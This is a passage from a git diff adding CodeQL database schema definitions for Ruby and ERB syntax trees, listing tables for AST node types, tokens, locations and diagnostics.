+ruby_if_modifier_def(
+  unique int id: @ruby_if_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_in_def(
+  unique int id: @ruby_in,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_in_clause_body(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int body: @ruby_then ref
+);
+
+@ruby_in_clause_guard_type = @ruby_if_guard | @ruby_unless_guard
+
+ruby_in_clause_guard(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int guard: @ruby_in_clause_guard_type ref
+);
+
+ruby_in_clause_def(
+  unique int id: @ruby_in_clause,
+  int pattern: @ruby_underscore_pattern_top_expr_body ref
+);
+
+@ruby_interpolation_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_interpolation, index]
+ruby_interpolation_child(
+  int ruby_interpolation: @ruby_interpolation ref,
+  int index: int ref,
+  unique int child: @ruby_interpolation_child_type ref
+);
+
+ruby_interpolation_def(
+  unique int id: @ruby_interpolation
+);
+
+ruby_keyword_parameter_value(
+  unique int ruby_keyword_parameter: @ruby_keyword_parameter ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_keyword_parameter_def(
+  unique int id: @ruby_keyword_parameter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_keyword_pattern_key_type = @ruby_string__ | @ruby_token_hash_key_symbol
+
+ruby_keyword_pattern_value(
+  unique int ruby_keyword_pattern: @ruby_keyword_pattern ref,
+  unique int value: @ruby_underscore_pattern_expr ref
+);
+
+ruby_keyword_pattern_def(
+  unique int id: @ruby_keyword_pattern,
+  int key__: @ruby_keyword_pattern_key_type ref
+);
+
+@ruby_lambda_body_type = @ruby_block | @ruby_do_block
+
+ruby_lambda_parameters(
+  unique int ruby_lambda: @ruby_lambda ref,
+  unique int parameters: @ruby_lambda_parameters ref
+);
+
+ruby_lambda_def(
+  unique int id: @ruby_lambda,
+  int body: @ruby_lambda_body_type ref
+);
+
+@ruby_lambda_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_lambda_parameters, index]
+ruby_lambda_parameters_child(
+  int ruby_lambda_parameters: @ruby_lambda_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_lambda_parameters_child_type ref
+);
+
+ruby_lambda_parameters_def(
+  unique int id: @ruby_lambda_parameters
+);
+
+@ruby_left_assignment_list_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_left_assignment_list, index]
+ruby_left_assignment_list_child(
+  int ruby_left_assignment_list: @ruby_left_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_left_assignment_list_child_type ref
+);
+
+ruby_left_assignment_list_def(
+  unique int id: @ruby_left_assignment_list
+);
+
+ruby_method_parameters(
+  unique int ruby_method: @ruby_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_method, index]
+ruby_method_child(
+  int ruby_method: @ruby_method ref,
+  int index: int ref,
+  unique int child: @ruby_method_child_type ref
+);
+
+ruby_method_def(
+  unique int id: @ruby_method,
+  int name: @ruby_underscore_method_name ref
+);
+
+@ruby_method_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_method_parameters, index]
+ruby_method_parameters_child(
+  int ruby_method_parameters: @ruby_method_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_method_parameters_child_type ref
+);
+
+ruby_method_parameters_def(
+  unique int id: @ruby_method_parameters
+);
+
+@ruby_module_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_module_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_module, index]
+ruby_module_child(
+  int ruby_module: @ruby_module ref,
+  int index: int ref,
+  unique int child: @ruby_module_child_type ref
+);
+
+ruby_module_def(
+  unique int id: @ruby_module,
+  int name: @ruby_module_name_type ref
+);
+
+ruby_next_child(
+  unique int ruby_next: @ruby_next ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_next_def(
+  unique int id: @ruby_next
+);
+
+case @ruby_operator_assignment.operator of
+  0 = @ruby_operator_assignment_percentequal
+| 1 = @ruby_operator_assignment_ampersandampersandequal
+| 2 = @ruby_operator_assignment_ampersandequal
+| 3 = @ruby_operator_assignment_starstarequal
+| 4 = @ruby_operator_assignment_starequal
+| 5 = @ruby_operator_assignment_plusequal
+| 6 = @ruby_operator_assignment_minusequal
+| 7 = @ruby_operator_assignment_slashequal
+| 8 = @ruby_operator_assignment_langlelangleequal
+| 9 = @ruby_operator_assignment_ranglerangleequal
+| 10 = @ruby_operator_assignment_caretequal
+| 11 = @ruby_operator_assignment_pipeequal
+| 12 = @ruby_operator_assignment_pipepipeequal
+;
+
+
+ruby_operator_assignment_def(
+  unique int id: @ruby_operator_assignment,
+  int left: @ruby_underscore_lhs ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_optional_parameter_def(
+  unique int id: @ruby_optional_parameter,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_pair_key_type = @ruby_string__ | @ruby_token_hash_key_symbol | @ruby_underscore_arg
+
+ruby_pair_value(
+  unique int ruby_pair: @ruby_pair ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_pair_def(
+  unique int id: @ruby_pair,
+  int key__: @ruby_pair_key_type ref
+);
+
+ruby_parenthesized_pattern_def(
+  unique int id: @ruby_parenthesized_pattern,
+  int child: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_parenthesized_statements_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_parenthesized_statements, index]
+ruby_parenthesized_statements_child(
+  int ruby_parenthesized_statements: @ruby_parenthesized_statements ref,
+  int index: int ref,
+  unique int child: @ruby_parenthesized_statements_child_type ref
+);
+
+ruby_parenthesized_statements_def(
+  unique int id: @ruby_parenthesized_statements
+);
+
+@ruby_pattern_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+ruby_pattern_def(
+  unique int id: @ruby_pattern,
+  int child: @ruby_pattern_child_type ref
+);
+
+@ruby_program_child_type = @ruby_token_empty_statement | @ruby_token_uninterpreted | @ruby_underscore_statement
+
+#keyset[ruby_program, index]
+ruby_program_child(
+  int ruby_program: @ruby_program ref,
+  int index: int ref,
+  unique int child: @ruby_program_child_type ref
+);
+
+ruby_program_def(
+  unique int id: @ruby_program
+);
+
+@ruby_range_begin_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_begin(
+  unique int ruby_range: @ruby_range ref,
+  unique int begin: @ruby_range_begin_type ref
+);
+
+@ruby_range_end_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_end(
+  unique int ruby_range: @ruby_range ref,
+  unique int end: @ruby_range_end_type ref
+);
+
+case @ruby_range.operator of
+  0 = @ruby_range_dotdot
+| 1 = @ruby_range_dotdotdot
+;
+
+
+ruby_range_def(
+  unique int id: @ruby_range,
+  int operator: int ref
+);
+
+@ruby_rational_child_type = @ruby_token_float | @ruby_token_integer
+
+ruby_rational_def(
+  unique int id: @ruby_rational,
+  int child: @ruby_rational_child_type ref
+);
+
+ruby_redo_child(
+  unique int ruby_redo: @ruby_redo ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_redo_def(
+  unique int id: @ruby_redo
+);
+
+@ruby_regex_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_regex, index]
+ruby_regex_child(
+  int ruby_regex: @ruby_regex ref,
+  int index: int ref,
+  unique int child: @ruby_regex_child_type ref
+);
+
+ruby_regex_def(
+  unique int id: @ruby_regex
+);
+
+ruby_rescue_body(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int body: @ruby_then ref
+);
+
+ruby_rescue_exceptions(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int exceptions: @ruby_exceptions ref
+);
+
+ruby_rescue_variable(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int variable: @ruby_exception_variable ref
+);
+
+ruby_rescue_def(
+  unique int id: @ruby_rescue
+);
+
+@ruby_rescue_modifier_body_type = @ruby_underscore_arg | @ruby_underscore_statement
+
+ruby_rescue_modifier_def(
+  unique int id: @ruby_rescue_modifier,
+  int body: @ruby_rescue_modifier_body_type ref,
+  int handler: @ruby_underscore_expression ref
+);
+
+ruby_rest_assignment_child(
+  unique int ruby_rest_assignment: @ruby_rest_assignment ref,
+  unique int child: @ruby_underscore_lhs ref
+);
+
+ruby_rest_assignment_def(
+  unique int id: @ruby_rest_assignment
+);
+
+ruby_retry_child(
+  unique int ruby_retry: @ruby_retry ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_retry_def(
+  unique int id: @ruby_retry
+);
+
+ruby_return_child(
+  unique int ruby_return: @ruby_return ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_return_def(
+  unique int id: @ruby_return
+);
+
+@ruby_right_assignment_list_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_right_assignment_list, index]
+ruby_right_assignment_list_child(
+  int ruby_right_assignment_list: @ruby_right_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_right_assignment_list_child_type ref
+);
+
+ruby_right_assignment_list_def(
+  unique int id: @ruby_right_assignment_list
+);
+
+@ruby_scope_resolution_name_type = @ruby_token_constant | @ruby_token_identifier
+
+@ruby_scope_resolution_scope_type = @ruby_underscore_pattern_constant | @ruby_underscore_primary
+
+ruby_scope_resolution_scope(
+  unique int ruby_scope_resolution: @ruby_scope_resolution ref,
+  unique int scope: @ruby_scope_resolution_scope_type ref
+);
+
+ruby_scope_resolution_def(
+  unique int id: @ruby_scope_resolution,
+  int name: @ruby_scope_resolution_name_type ref
+);
+
+ruby_setter_def(
+  unique int id: @ruby_setter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_singleton_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_singleton_class, index]
+ruby_singleton_class_child(
+  int ruby_singleton_class: @ruby_singleton_class ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_class_child_type ref
+);
+
+ruby_singleton_class_def(
+  unique int id: @ruby_singleton_class,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_singleton_method_object_type = @ruby_underscore_arg | @ruby_underscore_variable
+
+ruby_singleton_method_parameters(
+  unique int ruby_singleton_method: @ruby_singleton_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_singleton_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_singleton_method, index]
+ruby_singleton_method_child(
+  int ruby_singleton_method: @ruby_singleton_method ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_method_child_type ref
+);
+
+ruby_singleton_method_def(
+  unique int id: @ruby_singleton_method,
+  int name: @ruby_underscore_method_name ref,
+  int object: @ruby_singleton_method_object_type ref
+);
+
+ruby_splat_argument_def(
+  unique int id: @ruby_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_splat_parameter_name(
+  unique int ruby_splat_parameter: @ruby_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_splat_parameter_def(
+  unique int id: @ruby_splat_parameter
+);
+
+@ruby_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_string__, index]
+ruby_string_child(
+  int ruby_string__: @ruby_string__ ref,
+  int index: int ref,
+  unique int child: @ruby_string_child_type ref
+);
+
+ruby_string_def(
+  unique int id: @ruby_string__
+);
+
+#keyset[ruby_string_array, index]
+ruby_string_array_child(
+  int ruby_string_array: @ruby_string_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string ref
+);
+
+ruby_string_array_def(
+  unique int id: @ruby_string_array
+);
+
+@ruby_subshell_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_subshell, index]
+ruby_subshell_child(
+  int ruby_subshell: @ruby_subshell ref,
+  int index: int ref,
+  unique int child: @ruby_subshell_child_type ref
+);
+
+ruby_subshell_def(
+  unique int id: @ruby_subshell
+);
+
+ruby_superclass_def(
+  unique int id: @ruby_superclass,
+  int child: @ruby_underscore_expression ref
+);
+
+#keyset[ruby_symbol_array, index]
+ruby_symbol_array_child(
+  int ruby_symbol_array: @ruby_symbol_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol ref
+);
+
+ruby_symbol_array_def(
+  unique int id: @ruby_symbol_array
+);
+
+@ruby_then_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_then, index]
+ruby_then_child(
+  int ruby_then: @ruby_then ref,
+  int index: int ref,
+  unique int child: @ruby_then_child_type ref
+);
+
+ruby_then_def(
+  unique int id: @ruby_then
+);
+
+@ruby_unary_operand_type = @ruby_parenthesized_statements | @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_unary.operator of
+  0 = @ruby_unary_bang
+| 1 = @ruby_unary_plus
+| 2 = @ruby_unary_minus
+| 3 = @ruby_unary_definedquestion
+| 4 = @ruby_unary_not
+| 5 = @ruby_unary_tilde
+;
+
+
+ruby_unary_def(
+  unique int id: @ruby_unary,
+  int operand: @ruby_unary_operand_type ref,
+  int operator: int ref
+);
+
+#keyset[ruby_undef, index]
+ruby_undef_child(
+  int ruby_undef: @ruby_undef ref,
+  int index: int ref,
+  unique int child: @ruby_underscore_method_name ref
+);
+
+ruby_undef_def(
+  unique int id: @ruby_undef
+);
+
+@ruby_unless_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_unless_alternative(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int alternative: @ruby_unless_alternative_type ref
+);
+
+ruby_unless_consequence(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_unless_def(
+  unique int id: @ruby_unless,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_unless_guard_def(
+  unique int id: @ruby_unless_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_unless_modifier_def(
+  unique int id: @ruby_unless_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_until_def(
+  unique int id: @ruby_until,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_until_modifier_def(
+  unique int id: @ruby_until_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+@ruby_variable_reference_pattern_name_type = @ruby_token_identifier | @ruby_underscore_nonlocal_variable
+
+ruby_variable_reference_pattern_def(
+  unique int id: @ruby_variable_reference_pattern,
+  int name: @ruby_variable_reference_pattern_name_type ref
+);
+
+ruby_when_body(
+  unique int ruby_when: @ruby_when ref,
+  unique int body: @ruby_then ref
+);
+
+#keyset[ruby_when, index]
+ruby_when_pattern(
+  int ruby_when: @ruby_when ref,
+  int index: int ref,
+  unique int pattern: @ruby_pattern ref
+);
+
+ruby_when_def(
+  unique int id: @ruby_when
+);
+
+ruby_while_def(
+  unique int id: @ruby_while,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_while_modifier_def(
+  unique int id: @ruby_while_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_yield_child(
+  unique int ruby_yield: @ruby_yield ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_yield_def(
+  unique int id: @ruby_yield
+);
+
+ruby_tokeninfo(
+  unique int id: @ruby_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @ruby_token.kind of
+  0 = @ruby_reserved_word
+| 1 = @ruby_token_character
+| 2 = @ruby_token_class_variable
+| 3 = @ruby_token_comment
+| 4 = @ruby_token_complex
+| 5 = @ruby_token_constant
+| 6 = @ruby_token_empty_statement
+| 7 = @ruby_token_encoding
+| 8 = @ruby_token_escape_sequence
+| 9 = @ruby_token_false
+| 10 = @ruby_token_file
+| 11 = @ruby_token_float
+| 12 = @ruby_token_forward_argument
+| 13 = @ruby_token_forward_parameter
+| 14 = @ruby_token_global_variable
+| 15 = @ruby_token_hash_key_symbol
+| 16 = @ruby_token_hash_splat_nil
+| 17 = @ruby_token_heredoc_beginning
+| 18 = @ruby_token_heredoc_content
+| 19 = @ruby_token_heredoc_end
+| 20 = @ruby_token_identifier
+| 21 = @ruby_token_instance_variable
+| 22 = @ruby_token_integer
+| 23 = @ruby_token_line
+| 24 = @ruby_token_nil
+| 25 = @ruby_token_operator
+| 26 = @ruby_token_self
+| 27 = @ruby_token_simple_symbol
+| 28 = @ruby_token_string_content
+| 29 = @ruby_token_super
+| 30 = @ruby_token_true
+| 31 = @ruby_token_uninterpreted
+;
+
+
+@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
+
+@ruby_ast_node_parent = @file | @ruby_ast_node
+
+#keyset[parent, parent_index]
+ruby_ast_node_info(
+  unique int node: @ruby_ast_node ref,
+  int parent: @ruby_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
+erb_comment_directive_def(
+  unique int id: @erb_comment_directive,
+  int child: @erb_token_comment ref
+);
+
+erb_directive_def(
+  unique int id: @erb_directive,
+  int child: @erb_token_code ref
+);
+
+erb_graphql_directive_def(
+  unique int id: @erb_graphql_directive,
+  int child: @erb_token_code ref
+);
+
+erb_output_directive_def(
+  unique int id: @erb_output_directive,
+  int child: @erb_token_code ref
+);
+
+@erb_template_child_type = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_token_content
+
+#keyset[erb_template, index]
+erb_template_child(
+  int erb_template: @erb_template ref,
+  int index: int ref,
+  unique int child: @erb_template_child_type ref
+);
+
+erb_template_def(
+  unique int id: @erb_template
+);
+
+erb_tokeninfo(
+  unique int id: @erb_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @erb_token.kind of
+  0 = @erb_reserved_word
+| 1 = @erb_token_code
+| 2 = @erb_token_comment
+| 3 = @erb_token_content
+;
+
+
+@erb_ast_node = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_template | @erb_token
+
+@erb_ast_node_parent = @erb_ast_node | @file
+
+#keyset[parent, parent_index]
+erb_ast_node_info(
+  unique int node: @erb_ast_node ref,
+  int parent: @erb_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby.dbscheme b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby.dbscheme
new file mode 100644
index 00000000000..1199e154f5e
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby.dbscheme
@@ -0,0 +1,1417 @@
+// CodeQL database schema for Ruby
+// Automatically generated from the tree-sitter grammar; do not edit
+
+@location = @location_default
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int start_line: int ref,
+  int start_column: int ref,
+  int end_line: int ref,
+  int end_column: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+sourceLocationPrefix(
+  string prefix: string ref
+);
+
+diagnostics(
+  unique int id: @diagnostic,
+  int severity: int ref,
+  string error_tag: string ref,
+  string error_message: string ref,
+  string full_error_message: string ref,
+  int location: @location_default ref
+);
+
+case @diagnostic.severity of
+  10 = @diagnostic_debug
+| 20 = @diagnostic_info
+| 30 = @diagnostic_warning
+| 40 = @diagnostic_error
+;
+
+
+@ruby_underscore_arg = @ruby_assignment | @ruby_binary | @ruby_conditional | @ruby_operator_assignment | @ruby_range | @ruby_unary | @ruby_underscore_primary
+
+@ruby_underscore_call_operator = @ruby_reserved_word
+
+@ruby_underscore_expression = @ruby_assignment | @ruby_binary | @ruby_break | @ruby_call | @ruby_next | @ruby_operator_assignment | @ruby_return | @ruby_unary | @ruby_underscore_arg | @ruby_yield
+
+@ruby_underscore_lhs = @ruby_call | @ruby_element_reference | @ruby_scope_resolution | @ruby_token_false | @ruby_token_nil | @ruby_token_true | @ruby_underscore_variable
+
+@ruby_underscore_method_name = @ruby_delimited_symbol | @ruby_setter | @ruby_token_constant | @ruby_token_identifier | @ruby_token_operator | @ruby_token_simple_symbol | @ruby_underscore_nonlocal_variable
+
+@ruby_underscore_nonlocal_variable = @ruby_token_class_variable | @ruby_token_global_variable | @ruby_token_instance_variable
+
+@ruby_underscore_pattern_constant = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_underscore_pattern_expr = @ruby_alternative_pattern | @ruby_as_pattern | @ruby_underscore_pattern_expr_basic
+
+@ruby_underscore_pattern_expr_basic = @ruby_array_pattern | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_parenthesized_pattern | @ruby_range | @ruby_token_identifier | @ruby_underscore_pattern_constant | @ruby_underscore_pattern_primitive | @ruby_variable_reference_pattern
+
+@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_heredoc_beginning | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
+
+@ruby_underscore_pattern_top_expr_body = @ruby_array_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_underscore_pattern_expr
+
+@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
+
+@ruby_underscore_simple_numeric = @ruby_complex | @ruby_rational | @ruby_token_float | @ruby_token_integer
+
+@ruby_underscore_statement = @ruby_alias | @ruby_begin_block | @ruby_end_block | @ruby_if_modifier | @ruby_rescue_modifier | @ruby_undef | @ruby_underscore_expression | @ruby_unless_modifier | @ruby_until_modifier | @ruby_while_modifier
+
+@ruby_underscore_variable = @ruby_token_constant | @ruby_token_identifier | @ruby_token_self | @ruby_token_super | @ruby_underscore_nonlocal_variable
+
+ruby_alias_def(
+  unique int id: @ruby_alias,
+  int alias: @ruby_underscore_method_name ref,
+  int name: @ruby_underscore_method_name ref
+);
+
+#keyset[ruby_alternative_pattern, index]
+ruby_alternative_pattern_alternatives(
+  int ruby_alternative_pattern: @ruby_alternative_pattern ref,
+  int index: int ref,
+  unique int alternatives: @ruby_underscore_pattern_expr_basic ref
+);
+
+ruby_alternative_pattern_def(
+  unique int id: @ruby_alternative_pattern
+);
+
+@ruby_argument_list_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_argument_list, index]
+ruby_argument_list_child(
+  int ruby_argument_list: @ruby_argument_list ref,
+  int index: int ref,
+  unique int child: @ruby_argument_list_child_type ref
+);
+
+ruby_argument_list_def(
+  unique int id: @ruby_argument_list
+);
+
+@ruby_array_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_array, index]
+ruby_array_child(
+  int ruby_array: @ruby_array ref,
+  int index: int ref,
+  unique int child: @ruby_array_child_type ref
+);
+
+ruby_array_def(
+  unique int id: @ruby_array
+);
+
+ruby_array_pattern_class(
+  unique int ruby_array_pattern: @ruby_array_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_array_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_array_pattern, index]
+ruby_array_pattern_child(
+  int ruby_array_pattern: @ruby_array_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_array_pattern_child_type ref
+);
+
+ruby_array_pattern_def(
+  unique int id: @ruby_array_pattern
+);
+
+ruby_as_pattern_def(
+  unique int id: @ruby_as_pattern,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_assignment_left_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+@ruby_assignment_right_type = @ruby_rescue_modifier | @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
+
+ruby_assignment_def(
+  unique int id: @ruby_assignment,
+  int left: @ruby_assignment_left_type ref,
+  int right: @ruby_assignment_right_type ref
+);
+
+@ruby_bare_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_string, index]
+ruby_bare_string_child(
+  int ruby_bare_string: @ruby_bare_string ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string_child_type ref
+);
+
+ruby_bare_string_def(
+  unique int id: @ruby_bare_string
+);
+
+@ruby_bare_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_symbol, index]
+ruby_bare_symbol_child(
+  int ruby_bare_symbol: @ruby_bare_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol_child_type ref
+);
+
+ruby_bare_symbol_def(
+  unique int id: @ruby_bare_symbol
+);
+
+@ruby_begin_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin, index]
+ruby_begin_child(
+  int ruby_begin: @ruby_begin ref,
+  int index: int ref,
+  unique int child: @ruby_begin_child_type ref
+);
+
+ruby_begin_def(
+  unique int id: @ruby_begin
+);
+
+@ruby_begin_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin_block, index]
+ruby_begin_block_child(
+  int ruby_begin_block: @ruby_begin_block ref,
+  int index: int ref,
+  unique int child: @ruby_begin_block_child_type ref
+);
+
+ruby_begin_block_def(
+  unique int id: @ruby_begin_block
+);
+
+@ruby_binary_left_type = @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_binary.operator of
+  0 = @ruby_binary_bangequal
+| 1 = @ruby_binary_bangtilde
+| 2 = @ruby_binary_percent
+| 3 = @ruby_binary_ampersand
+| 4 = @ruby_binary_ampersandampersand
+| 5 = @ruby_binary_star
+| 6 = @ruby_binary_starstar
